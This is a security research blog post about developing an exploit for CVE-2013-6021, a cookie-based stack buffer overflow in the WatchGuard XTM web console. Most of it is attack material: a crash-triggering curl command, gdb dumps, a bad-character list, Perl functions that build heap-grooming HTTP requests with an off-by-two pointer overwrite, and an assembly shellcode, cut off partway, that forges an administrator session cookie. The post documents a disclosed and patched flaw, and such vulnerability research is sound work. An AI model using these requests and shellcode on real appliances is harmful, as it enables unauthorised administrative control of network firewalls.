WatchGuard – CVE-2013-6021 – Stack Based Buffer Overflow Exploit
1. Introduction
This blog entry aims to provide the reader with technical details about the stack-based buffer overflow that we’ve discovered in the web administration console of the WatchGuard XTM appliance (CVE-2013-6021), as well as our journey into the exploit development. While the bug was quite easy to discover, writing a reliable exploit was more challenging due to several limitations, including an impressive hardening of the device.
It is worth to mention that by default, the web console of the XTM appliance is not reachable from the Untrusted interface as long as the firewall policy hasn’t been modified to allow external access. However, the XTMv version (virtual appliance) allows external access to the web console by default.
1.1 References
- http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6021
- http://www.kb.cert.org/vuls/id/233990
- http://watchguardsecuritycenter.com/2013/10/17/xtm-11-8-secfixes/
- http://watchguardsecuritycenter.com/2013/10/17/watchguard-dimension-and-fireware-xtm-11-8/
2. Bug details
The vulnerability occurs in the session cookie parser and can be triggered by sending a long cookie to the web application. The code of the vulnerable function is highlighted below.
2.1. Code excerpt (c/c++)
int mysub_8051850_HTTP_handle_request() { // ... char dest[128]; int client_info; int sys_upgrade_content; int unknown; int client_fd; // ... // wrapper to accept() FCGX_Accept_r(client_info); client_fd = *(client_info + 12); script_name = FCGX_GetParam(client_info, "URI_QUERY"); if ( script_name && !strcmp(script_name, "/ping") ) { FCGX_FPrintF(client_fd, [pong response]); FCGX_FFlush(); goto end; } // login attemp ? if ( script_name && (!strcmp(script_name, "/login") || !strcmp(script_name, "/agent/login")) ) { mysub_804E7E7_login(client_info, tp.tv_sec); goto end; } // get session cookie cookies = (char *)FCGX_GetParam(client_info, "HTTP_COOKIE"); if ( cookies ) { int n = 0; char* src = strstr(cookies, "sessionid="); if ( src ) src += 10; if ( src ) { // search for the end of the cookie n = strcspn(src, "\r\n\t &'\";"); // copy the provided cookie into "char dest[128]" :) strncpy(&dest, src, n); // search for an existing session cookie_sess = wgds_node_find(); } } if ( !cookie_sess ) { if ( src ) mysub_804CEC3_HTTP_response(client_fd, 410, "expired"); else mysub_804CEC3_HTTP_response(client_fd, 401, "Unauthorized"); goto end; } // .... end: if ( client_info ) { FCGX_Finish_r(client_info); free((void *)client_info); } if ( sys_upgrade_content ) mysub_804DF62_free_decoded_content(sys_upgrade_content); return 0; }
mysub_8051850_HTTP_handle_request() – c code excerpt
Using strcspn() function, line 40 computes the length of the provided cookie by searching for a delimiter character. Line 43 call strncpy() to copy the content of the cookie into a 128 bytes length buffer, without performing any bound checking. By providing more than 128 characters as sessionid value, it is then possible to overwrite additional pointers and alter the state of the stack.
2.2. Crash demonstration
We can trigger the bug by using the following curl command, which will make the wgagent process crash:
$ curl -k --cookie "sessionid=`perl -e 'print "A" x 500'`" \ --data "foo" https://192.168.60.196:8080/agent/ping
GDB session
$ gdb --pid `ps aux | grep wgagent | grep -v grep | awk '{print $2}'` GNU gdb (GDB) 7.2-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Attaching to process 32639 0xffffe424 in __kernel_vsyscall () => 0xffffe424 <__kernel_vsyscall+16>: 5d pop ebp (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x37d62c57 in FCGX_PutStr () from /lib/libfcgi.so.0 => 0x37d62c57 <FCGX_PutStr+23>: 8b 7e 08 mov edi,DWORD PTR [esi+0x8] (gdb) info registers eax 0x8059ebd 134586045 ecx 0x41414141 1094795585 edx 0x8d 141 ebx 0x37d68ff4 936808436 esp 0x3ff0b520 0x3ff0b520 ebp 0x3ff0b558 0x3ff0b558 esi 0x41414141 1094795585 edi 0x8059e30 134585904 eip 0x37d62c57 0x37d62c57 <FCGX_PutStr+23> eflags 0x10202 [ IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) info stack #0 0x37d62c57 in FCGX_PutStr () from /lib/libfcgi.so.0 #1 0x37d63d4d in FCGX_VFPrintF () from /lib/libfcgi.so.0 #2 0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0 #3 0x0804cf2a in ?? () #4 0x08051d79 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () [...SNIP...] #29 0x41414141 in ?? () #30 0x37d54ff4 in ?? () from /lib/liblistener.so Cannot access memory at address 0x41414145 (gdb) info frame 4 Stack frame at 0x3ffffcc0: eip = 0x8051d79; saved eip 0x41414141 called by frame at 0x3ffffcc4, caller of frame at 0x3ff0b6f0 Arglist at 0x3ffffcb8, args: Locals at 0x3ffffcb8, Previous frame's sp is 0x3ffffcc0 Saved registers: ebp at 0x3ffffcb8, eip at 0x3ffffcbc (gdb)
As we can learn from line 57, the saved EIP value of 4th frame has been overwritten by “AAAA”.
3. Exploitation – RET overwriting approach
So what could we do now using this overflow ? Our first approach is to try exploiting this vulnerability using the classical RET overwrite approach, which consists of altering the saved EIP value with the address of a jmp instruction (or equivalent), and then to finally land into our shellcode. Easy ? Well, let first meet our limitations…
3.1. Limitations
3.1.1. Bad characters
Since this vulnerability is triggered through the session cookie, our first limitation is that all characters of our buffer must land into the allowed character set, of an HTTP request header. Additionally, our buffer can’t contain any cookie delimiters characters such as space, quote, semi-colon, …
Here is our final bad chars list:
my @badchars = ( "\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters );
3.1.2. Virtual Address Randomization
As we can see in the following output, /proc/sys/kernel/randomize_va_space is set to “1” which means that memory addresses randomization is enabled by default on the Watchguard device.
$ uname -a Linux XTMv-11.7.4u1 2.6.35.12 #1 SMP Tue Aug 27 11:44:24 PDT 2013 i686 GNU/Linux $ cat /proc/sys/kernel/randomize_va_space 1
Another view can be observed from the process memory map, where all modules use a different memory base-address each time the wgagent process restarts.
All modules ? Not exactly. The section code and the heap don’t move upon restart. Additionally, our friend linux-gate.so doesn’t move too (see line 36).
$ cat /proc/26495/maps 08048000-0805d000 r-xp 00000000 08:02 40369 /usr/bin/wgagent 0805d000-0805e000 r-xp 00014000 08:02 40369 /usr/bin/wgagent 0805e000-0805f000 rwxp 00015000 08:02 40369 /usr/bin/wgagent 0805f000-08081000 rwxp 00000000 00:00 0 [heap] 37950000-37958000 r-xp 00000000 08:02 12801 /lib/libnss_files.so.2 37958000-37959000 r-xp 00007000 08:02 12801 /lib/libnss_files.so.2 37959000-3795a000 rwxp 00008000 08:02 12801 /lib/libnss_files.so.2 3795a000-3795c000 r-xs 00000000 00:04 0 /SYSV574c5147 (deleted) 3795c000-37972000 r-xp 00000000 08:02 12796 /lib/libgcc_s.so.1 37972000-37973000 r-xp 00015000 08:02 12796 /lib/libgcc_s.so.1 37973000-37974000 rwxp 00016000 08:02 12796 /lib/libgcc_s.so.1 37974000-37976000 rwxp 00000000 00:00 0 37976000-37989000 r-xp 00000000 08:02 12161 /lib/libpthread.so.0 37989000-3798a000 r-xp 00012000 08:02 12161 /lib/libpthread.so.0 3798a000-3798b000 rwxp 00013000 08:02 12161 /lib/libpthread.so.0 3798b000-3798e000 rwxp 00000000 00:00 0 3798e000-3799d000 r-xp 00000000 08:02 12371 /lib/libnsl.so.1 3799d000-3799e000 r-xp 0000e000 08:02 12371 /lib/libnsl.so.1 3799e000-3799f000 rwxp 0000f000 08:02 12371 /lib/libnsl.so.1 3799f000-379a1000 rwxp 00000000 00:00 0 379a1000-37aa7000 r-xp 00000000 08:02 12231 /lib/libc.so.6 37aa7000-37aa9000 r-xp 00105000 08:02 12231 /lib/libc.so.6 37aa9000-37aaa000 rwxp 00107000 08:02 12231 /lib/libc.so.6 37aaa000-37aad000 rwxp 00000000 00:00 0 [...SNIP...] 37ebf000-37fdf000 r-xp 00000000 08:02 12350 /lib/libxml2.so.2.7.7 37fdf000-37fe0000 ---p 00120000 08:02 12350 /lib/libxml2.so.2.7.7 37fe0000-37fe4000 r-xp 00120000 08:02 12350 /lib/libxml2.so.2.7.7 37fe4000-37fe5000 rwxp 00124000 08:02 12350 /lib/libxml2.so.2.7.7 37fe5000-37fe7000 rwxp 00000000 00:00 0 37fe7000-37ffe000 r-xp 00000000 08:02 12099 /lib/ld-2.12.1.so 37ffe000-37fff000 r-xp 00016000 08:02 12099 /lib/ld-2.12.1.so 37fff000-38000000 rwxp 00017000 08:02 12099 /lib/ld-2.12.1.so 3ffdf000-40000000 rwxp 00000000 00:00 0 [stack] ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Unfortunately, if we succeed with the RET overflow approach, we can’t jump into the wgagent heap nor code sections because of the bad characters limitation (the addresses start with \x08\x05 or \x08\x06). However, an off-by-two overflow would help to bypass this limitation. Regarding linux-gate.so, no jmp or equivalent were found.
3.1.3. Invalid pointer and free()
Yet another issue we have to overcome with the RET approach appeared near the end of the mysub_8051850_HTTP_handle_request() function.
// .... if ( client_info ) { FCGX_Finish_r(client_info); free((void *)client_info); } if ( sys_upgrade_content ) mysub_804DF62_free_decoded_content(sys_upgrade_content); // ....
Buffers initially allocated at the beginning of the function using malloc(), must be freed. Unfortunately, the pointers to these buffers are overwritten during the strncpy() overflow, which makes free() crash (it is legitimate… not easy to free an invalid buffer..). Additionally, in the event where we find a way to predict a valid heap address to free, we won’t be able to use it in our evil buffer since the heap addresses start with forbidden characters ..
4. Exploitation – Pointers overwriting approach
After a few headaches in the RET overwriting approach, it was the moment to consider another way. We then started to analyze the execution flow right after the overflow, hoping to get an idea… Which then finally happened..
4.1. O pointers where art thou
Upon return from the strncpy() function, the provided cookie is compared against a list of valid cookies. If the cookie is expired or invalid, an HTTP response is generated and returned to the end-user, as see on line 6 and 8 of the following excerpt code.
int mysub_8051850_HTTP_handle_request() { // ... if ( !cookie_sess ) { if ( src ) mysub_804CEC3_HTTP_response(client_fd, 410, "expired"); else mysub_804CEC3_HTTP_response(client_fd, 401, "Unauthorized"); goto end; } //....
The HTTP_response function then calls some printf() wrappers as illustrated by the following backtrace:
(gdb) backtrace #0 0x37d62c8c in FCGX_PutStr () from /lib/libfcgi.so.0 #1 0x37d63d4d in FCGX_VFPrintF () from /lib/libfcgi.so.0 #2 0x37d642bb in FCGX_FPrintF () from /lib/libfcgi.so.0 #3 0x0804cf2a in ?? () #4 0x08051d79 in ?? () <=== call from mysub_8051850_HTTP_handle_request() #5 0x080552c8 in ?? () #6 0x37d539c9 in ?? () from /lib/liblistener.so #7 0x37d52c16 in ListenLoop () from /lib/liblistener.so #8 0x08055be1 in ?? () #9 0x379b7eb9 in __libc_start_main () from /lib/libc.so.6 #10 0x0804bcd1 in ?? ()
A VERY interesting assembly instruction is present in the FCGX_PutStr() function as seen at line 27 of the following code:
0x37d62c40 <+0>: push ebp 0x37d62c41 <+1>: mov ebp,esp 0x37d62c43 <+3>: push edi 0x37d62c44 <+4>: push esi 0x37d62c45 <+5>: push ebx 0x37d62c46 <+6>: sub esp,0x2c 0x37d62c49 <+9>: mov esi,DWORD PTR [ebp+0x10] 0x37d62c4c <+12>: call 0x37d624c8 0x37d62c51 <+17>: add ebx,0x63a3 0x37d62c57 <+23>: mov edi,DWORD PTR [esi+0x8] 0x37d62c5a <+26>: mov eax,DWORD PTR [esi+0x4] 0x37d62c5d <+29>: mov DWORD PTR [ebp-0x1c],0x0 0x37d62c64 <+36>: mov edx,edi 0x37d62c66 <+38>: sub edx,eax 0x37d62c68 <+40>: cmp edx,DWORD PTR [ebp+0xc] 0x37d62c6b <+43>: jl 0x37d62c95 <FCGX_PutStr+85> 0x37d62c6d <+45>: jmp 0x37d62cea <FCGX_PutStr+170> 0x37d62c70 <+48>: add DWORD PTR [ebp+0x8],edi 0x37d62c73 <+51>: mov eax,DWORD PTR [esi+0x14] 0x37d62c76 <+54>: test eax,eax 0x37d62c78 <+56>: jne 0x37d62cd8 <FCGX_PutStr+152> 0x37d62c7a <+58>: mov edi,DWORD PTR [esi+0x10] 0x37d62c7d <+61>: test edi,edi 0x37d62c7f <+63>: jne 0x37d62cd8 <FCGX_PutStr+152> 0x37d62c81 <+65>: mov DWORD PTR [esp+0x4],0x0 0x37d62c89 <+73>: mov DWORD PTR [esp],esi 0x37d62c8c <+76>: call DWORD PTR [esi+0x24] 0x37d62c8f <+79>: mov eax,DWORD PTR [esi+0x4] 0x37d62c92 <+82>: mov edi,DWORD PTR [esi+0x8] 0x37d62c95 <+85>: cmp eax,edi 0x37d62c97 <+87>: je 0x37d62c73 <FCGX_PutStr+51> 0x37d62c99 <+89>: mov edx,DWORD PTR [ebp+0xc] 0x37d62c9c <+92>: sub edi,eax 0x37d62c9e <+94>: sub edx,DWORD PTR [ebp-0x1c] [...SNIP...] 0x37d62d0c <+204>: pop ebx 0x37d62d0d <+205>: pop esi 0x37d62d0e <+206>: pop edi 0x37d62d0f <+207>: pop ebp 0x37d62d10 <+208>: ret
The good news is that ESI holds the content of “client_fd” pointer, which we control by overflowing our cookie buffer by only a few bytes!
Remember the beginning of the mysub_8051850_HTTP_handle_request() function :
int mysub_8051850_HTTP_handle_request() { // ... char dest[128]; // overflowed buffer int client_info; int sys_upgrade_content; int unknown; int client_fd; // ...
Additionally, client_fd initially contains a heap address, which means that overwriting the pointer with only 2 bytes (remember bad chars), would let us perform a call to an address stored on the heap !
4.2. How I met your mother
The function would like to challenge us first.. Indeed, we need to comply with some conditional jumps in order to reach the call [esi+0x24] instruction. Let’s illustrate the conditions:
0x37d62c40 <+0>: push ebp 0x37d62c41 <+1>: mov ebp,esp 0x37d62c43 <+3>: push edi 0x37d62c44 <+4>: push esi 0x37d62c45 <+5>: push ebx 0x37d62c46 <+6>: sub esp,0x2c 0x37d62c49 <+9>: mov esi,DWORD PTR [ebp+0x10] 0x37d62c4c <+12>: call 0x37d624c8 0x37d62c51 <+17>: add ebx,0x63a3 0x37d62c57 <+23>: mov edi,DWORD PTR [esi+0x8] 0x37d62c5a <+26>: mov eax,DWORD PTR [esi+0x4] 0x37d62c5d <+29>: mov DWORD PTR [ebp-0x1c],0x0 0x37d62c64 <+36>: mov edx,edi 0x37d62c66 <+38>: sub edx,eax 0x37d62c68 <+40>: cmp edx,DWORD PTR [ebp+0xc] 0x37d62c6b <+43>: jl 0x37d62c95 <FCGX_PutStr+85> 0x37d62c6d <+45>: jmp 0x37d62cea <FCGX_PutStr+170> 0x37d62c70 <+48>: add DWORD PTR [ebp+0x8],edi 0x37d62c73 <+51>: mov eax,DWORD PTR [esi+0x14] 0x37d62c76 <+54>: test eax,eax 0x37d62c78 <+56>: jne 0x37d62cd8 <FCGX_PutStr+152> 0x37d62c7a <+58>: mov edi,DWORD PTR [esi+0x10] 0x37d62c7d <+61>: test edi,edi 0x37d62c7f <+63>: jne 0x37d62cd8 <FCGX_PutStr+152> 0x37d62c81 <+65>: mov DWORD PTR [esp+0x4],0x0 0x37d62c89 <+73>: mov DWORD PTR [esp],esi 0x37d62c8c <+76>: call DWORD PTR [esi+0x24] 0x37d62c8f <+79>: mov eax,DWORD PTR [esi+0x4] 0x37d62c92 <+82>: mov edi,DWORD PTR [esi+0x8] 0x37d62c95 <+85>: cmp eax,edi 0x37d62c97 <+87>: je 0x37d62c73 <FCGX_PutStr+51> 0x37d62c99 <+89>: mov edx,DWORD PTR [ebp+0xc] 0x37d62c9c <+92>: sub edi,eax 0x37d62c9e <+94>: sub edx,DWORD PTR [ebp-0x1c] [...SNIP...] 0x37d62d0c <+204>: pop ebx 0x37d62d0d <+205>: pop esi 0x37d62d0e <+206>: pop edi 0x37d62d0f <+207>: pop ebp 0x37d62d10 <+208>: ret
Line 16 : [esi+0x8] – [esi+0x4] must be lower than [ebp+0xc] (which contains 141 at that moment) in order to jump at <FCGX_PutStr+85>
Line 31 : [esi+0x4] and [esi+0x8] must be equal in order to jump at <FCGX_PutStr+51>
Line 21 : [esi+0x14] must be equal to zero in order to prevent jumping
Line 24 : [esi+0x10] must be equal to zero in order to prevent jumping
If we satisfy these conditions in this order, we will reach the call instruction located at line 27 and then have to satisfy a last condition:
Line 27 : [esi+0x24] must contain an address which point to our shellcode …
Below is an alternative view of the problem we need to solve .. We called this “a good memory chunk” pointed by ESI.
The reader can already assume that if I took the energy to write this blog entry, there must be some ways to comply with the rules … ;-)
4.3. Solving the conditions
We must send an HTTP request which fills the heap with some HTTP header contents, and then find a location into that heap which matches our conditions. Let’s automate the heap search process using Perl (I know, Perl is old school but I don’t care..).
We also need some gdb scripting in order to dump the heap content, right after client_fd has been overwritten. In the example below, we will overwrite two bytes of client_fd with \x81\x64 which will result in 0x08068164. The gdb script will break at FCGX_FPrinF() function and will dump the content of the heap if EAX contains 0x08068164.
The gdb command script.
set disassemble-next-line on set disassembly-flavor intel file /usr/bin/wgagent b FCGX_FPrintF commands if ($eax == 0x8068164) x/20000xw 0x08060000 quit else cont end end run
From our testing laptop, gdb will be called through SSH, and the output (the heap content) saved locally into a text file:
$ ssh -p 4118 root@192.168.60.196 gdb --nx --command cmd.gdb 2>/dev/null \ | egrep -e '^0x80.....:' > heap_dump
From another console, we send the HTTP request and wait for the gdb output. Sample :
0x8060000: 0x00000000 0x00000019 0x62696c2f 0x62696c2f 0x8060010: 0x5f636367 0x6f732e73 0x0000312e 0x00000281 0x8060020: 0x3795c000 0x08060008 0x37972f08 0x08063278 0x8060030: 0x37fff534 0x08060020 0x00000000 0x0806027c 0x8060040: 0x00000000 0x37972f08 0x37972f58 0x37972f50 0x8060050: 0x37972f28 0x37972f30 0x37972f38 0x00000000 0x8060060: 0x00000000 0x00000000 0x37972f40 0x37972f48 0x8060070: 0x37972f18 0x37972f20 0x37972f10 0x00000000 0x8060080: 0x00000000 0x37972f70 0x37972f78 0x37972f80 0x8060090: 0x37972f60 0x00000000 0x00000000 0x37972f68 0x80600a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80600b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80600c0: 0x00000000 0x00000000 0x37972fa0 0x37972f98 0x80600d0: 0x37972f90 0x37972f88 0x00000000 0x37972fb0 0x80600e0: 0x00000000 0x00000000 0x00000000 0x00000000 ......
After multiple variations of an initial HTTP request, our Perl script did not find any good location that matched the last rule (pointer to the shellcode) :-/
Well, why not trying with two HTTP requests ? Remember that free() does not reset the content of a buffer but only removes the chunk from the allocated buffer list. It means that with a bit of luck, the data of a first HTTP request might still be present on the heap, while a second HTTP request (different than the first one) is processed by the HTTP server. Also, wgagent treats one request at a time meaning that if you send 100 identical requests, they will all be stored at the same position (also after reboot – verified).
We will then try to send two different requests:
- A first request which generates a “good memory chunk” (satisfying all rules except the last one).
- A second request which aligns the shellcode at the position pointed by ESI+0x24 (set by the first HTTP request). We’ll also try to have a big room for the shellcode (2000 bytes should be large enough).
!!! IT WORKS !!!
Below is the first request:
sub building_request_step1 { my $sessionid = "A" x 120; my $req = "POST /agent/ping HTTP/1.1\r\n" . "Host:$host:$port" . "\r\n" . "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0 " . "a" x 100 . "\r\n" . "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" . "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" . "Content-Type: application/xml\r\n" . "Cookie: sessionid=" . $sessionid . "\r\n" . "Accept-Charset: utf-8\r\n" . "Content-Length: 3\r\n" . "\r\n" . "foo" ; return $req; }
and here is the second request:
sub building_request_step2 { my $sessionid = "A" x 140 . # junk "\x44\x85" ; # off by 2 overflow to reach 0x8068544 (on the heap) my $req = "POST /agent/ping HTTP/1.1\r\n" . "Host:$host:$port" . "\r\n" . "User-Agent: " . "s" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0 " . "a" x 282 . "\r\n" . "Accept-Encoding: gzip, deflate " . "b" x 1380 . "\r\n" . "Connection: keep-alive" . "a" x 22 . $shellcode . "\x90" x ($shellcode_max_len - length($shellcode)) ."\r\n" . "Content-Type: application/xml\r\n" . "Cookie: sessionid=" . $sessionid . "\r\n" . "Accept-Charset: utf-8\r\n" . "Content-Length: 3\r\n" . "\r\n" . "foo" ; return $req; }
Below is the output of the Perl script showing some good memory chunks, including the content behind [ESI+024]
$ ssh -p 4118 root@192.168.60.196 gdb --nx --command cmd.gdb 2>/dev/null \ | egrep -e '^0x80.....:' > heap_dump $ ./heap_search.pl heap_dump base address: 8060000 [...SNIP...] ESI: 0x8068058, [ESI+0x24]: 0x080680e0 \x01\x06\x00\x01\x00\x00\x00\x00\x01\x03\x00\x01\x00\x08\x00\x00 ................ ESI: 0x80682f8, [ESI+0x24]: 0x08065c60 \x67\x00\x06\x08\x29\x00\x00\x00\x44\x4f\x43\x55\x4d\x45\x4e\x54 g...)...DOCUMENT ESI: 0x8068544, [ESI+0x24]: 0x080664f0 <========================== \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc ................ ESI: 0x8068548, [ESI+0x24]: 0x08068608 \x98\xa2\xaa\x37\x28\x3a\x06\x08\x00\x00\x00\x00\x00\x00\x00\x00 ...7(:.......... [... SNIP ...] ======== dump near ESI =================== 0x8068540: 0x00000000 0x00000000 0x00000000 0x00000000 0x8068550: 0x00000000 0x00000000 0x00000000 0x00000000 0x8068560: 0x00002008 0x00000030 0x080664f0 0x08068608 ========================================== ======== dump near [ESI+0x24] ============ 0x80664b0: 0x62626262 0x00626262 0x73752f3d 0x00000809 0x80664c0: 0x50545448 0x4e4f435f 0x5443454e 0x3d4e4f49 0x80664d0: 0x7065656b 0x696c612d 0x61616576 0x61616161 0x80664e0: 0x61616161 0x61616161 0x61616161 0x61616161 0x80664f0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066500: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066510: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066520: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066530: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066540: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066550: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066560: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066570: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066580: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x8066590: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x80665a0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc 0x80665b0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc ========================
We can now rest a few minutes, before considering the shellcode we would like to use in our buffer…
5. Shellcoding
5.1. Dealing with bad characters
As explained before, we have to deal with a lot of bad characters in our evil buffer. To make it easier, we decided to use the infamous alpha2 encoder . In order to use this encoder, we have to set our shellcode address into one of the registers expected by alpha2 first (is alpha3 for Windows only?).
Right after the call [esi+0x24], we have the following values in our registers:
Breakpoint 1, 0x37d62c8c in FCGX_PutStr () from /lib/libfcgi.so.0 => 0x37d62c8c <FCGX_PutStr+76>: ff 56 24 call DWORD PTR [esi+0x24] (gdb) si 0x080664f0 in ?? () => 0x080664f0: 90 nop <== first byte of our nopsled (gdb) i r eax 0x0 0 ecx 0x8068544 134645060 edx 0x0 0 ebx 0x37d68ff4 936808436 esp 0x3ff0b51c 0x3ff0b51c ebp 0x3ff0b558 0x3ff0b558 esi 0x8068544 134645060 edi 0x0 0 eip 0x80664f0 0x80664f0 (gdb) x/xw $ecx+0x24 0x8068568: 0x080664f0 (gdb) x/xw $esi+0x24 0x8068568: 0x080664f0 (gdb)
Both [ecx+0x24] and [esi+0x24] contains the address of our shellcode. In order to store the address of the alpha-encoded shellcode into EAX, we will start our shellcode with the following instructions (by taking care of the bad chars list):
8048060: 8b 41 24 mov eax, [ecx+0x24] 8048063: 83 c0 40 add eax, 0x40 ; compensate our own length 8048066: 83 e8 37 sub eax, 0x37 ; compensate our own length
We can now play with ./alpha2 eax < shellcode
5.2. bind_shell, reverse_shell, execve …
So we need to write a shellcode now, but what for ? If you remember a few thousand lines before, there is no shell installed on the device. Ok, we have busybox with this very limited set of commands:
~ # busybox-rel BusyBox v1.18.2 (2012-10-25 16:35:43 PDT) multi-call binary. [...SNIP...] Currently defined functions: arp, arping, awk, chmod, chown, crond, dmesg, ftpget, ftpput, getty, gunzip, gzip, hwclock, ifconfig, insmod, kill, killall, logger, login, lsmod, mdev, modprobe, rmmod, syslogd, tar, tftp, udhcpc, vconfig, zcat
There is also a Command Line Interface to consider under /usr/bin/cli, but it provides only unprivileged commands when called by non-root user (wgagent runs as nobody):
~ # busybox su - nobody $ /usr/bin/cli -- -- WatchGuard Firebox Operating System Software. -- Fireware XTM Version 11.7.4.B428850 -- Support: https://www.watchguard.com/support/supportLogin.asp -- Copyright (c) 1996-2011 by WatchGuard Technologies, Inc. -- WG>? Exec commands: diagnose Display internal diagnostic information exit Exit from the EXEC export Export information to external platform help Description of the interactive help system history Display the command history list with line numbers no Negate a command or set its defaults ping Send echo messages show Show running system information sysinfo Display system information traceroute Trace route to destination who Show who is logged on WG>
These options are really disappointing, considering the jobs we have already covered. Additionally, we know that wgagent is able to execute privileged actions when called from the web console (changing policy, rebooting, …). There is definitively no reasons to stuck in our limited privileges..
5.3. Code reuse – Send me back an admin cookie please
Since there is a really convenient Web console running of the device, why not ask wgagent to generate a new admin cookie, and send it back to us ?
I will not explain all the steps but basically, our shellcode will:
- Set EBP and ESP as if we are running into the mysub_8051850_HTTP_handle_request() function.
- Recover some overwritten pointers
- Set EBP and ESP as if we are running inside the mysub_804E7E7_login() function.
- Re-implement some necessary assignments
- Jump after the password verification
- Let it go :-)
Here is the final shellcode:
;wg_get_session.asm global _start _start: ; current EBP/ESP values ;------- ; esp 0x3ff0b518 ; ebp 0x3ff0b558 ; first, fix the stack in HTTP_handle_request function ; ------- ; esp 0x3ff0b6f0 ; ebp 0x3ffffcb8 ; we'll do ;--------- ;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472' ; 3ff0b6f0 ; ESP = ESP + 472 ;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312' ; 3ffffcb8 ; EBP = EBP + 1001312 ; fix ESP/EBP add esp, 472 add ebp, 1001312 ; fixing overwritten ptrs ; finding initial malloc pointer v50 (overwritten) ; 0805f000-08081000 rwxp 00000000 00:00 0 [heap] ; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14) ; example inside gdb ;b *0x8051901 ;b *0x80519c0 ;(gdb) x/xw $ebp-0xf8 <===== v55 ;0x3ffffbc0: 0x08065b90 ;(gdb) x/xw $ebp-0xfc <===== v54 ;0x3ffffbbc: 0x08067fe0 ;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90 <==== search seq on heap ;0x8063b48 ;1 pattern found. ;(gdb) x/xw 0x8063b48-0x10 <==== initial malloc ptr (v50) is at 0x8063b48-0x10 ;0x8063b38: 0x00000001 ; search this sequence on the heap mov eax, [ebp-0xfc] ; v54 mov ebx, [ebp-0xf8] ; v55 mov edi, 0x0805f000 ; heap start addr loop: add edi, 4 lea esi, [edi+4] cmp esi, 0x08081000 ; edi is out of the heap ? je loop_end cmp [edi], eax ; cmp v54 jne loop cmp [edi+4], ebx ; cmp v55 je found jmp loop loop_end: mov eax, 0x08063b38 ; default value (should not be reached) found: lea eax, [edi-0x10] ; eax = v50 address (malloc ptr addr) ; EBP-0x10c ; saved content of v50 (malloc) = ebp-0x10c mov [ebp-0x10c], eax ; reset EBX (see following) ; 805185c: e8 95 43 00 00 call 8055bf6 <wga_signal+0x784> ; 8051861: 81 c3 93 c7 00 00 add ebx,0xc793 ; .... ; 8055bf6: 8b 1c 24 mov ebx,DWORD PTR [esp] ; 8055bf9: c3 ret mov ebx, 0x805dff4 ; EBP-0x108 ; just reset it to 0 mov dword [ebp-0x108], 0x0 ; EBP-0x100 ; 80519b1: 8b 40 0c mov eax,DWORD PTR [eax+0xc] ; 80519b4: 89 85 00 ff ff ff mov DWORD PTR [ebp-0x100],eax mov eax, [eax+0xc] mov [ebp-0x100], eax ; simulate call to login function. copy args mov ecx, [ebp-0x10c] mov eax, [ebp-0x198] mov edx, [ebp-0x194] mov [esp+0x4],eax mov [esp+0x8],edx mov [esp],ecx ; Now setup the login function stack ; current esp/ebp ; ---------------- ; esp 0x3ff0b6f0 ; ebp 0x3ffffcb8 ; we want to land into the login function ; --------------------------------------- ; esp 0x3ff0b420 ; ebp 0x3ff0b6e8 ; we'll do ;--------- ; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720' ; 3ff0b420 ; ESP = ESP - 720 ; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912' ; 3ff0b6e8 ; EBP = EBP - 1000912 ; stack fix sub esp, 720 sub ebp, 1000912 ; EBX -> .GOT (same as above btw) mov ebx, 0x805dff4 ; simulate "decode HTTP content" fct, at top of the login function mov edx, [ebp+0x8] mov edx, [edx+0x8] mov dword [esp+0x4], 0x0 ; no content_encoding header mov [esp], edx mov esi, 0x0804d990 call esi ; 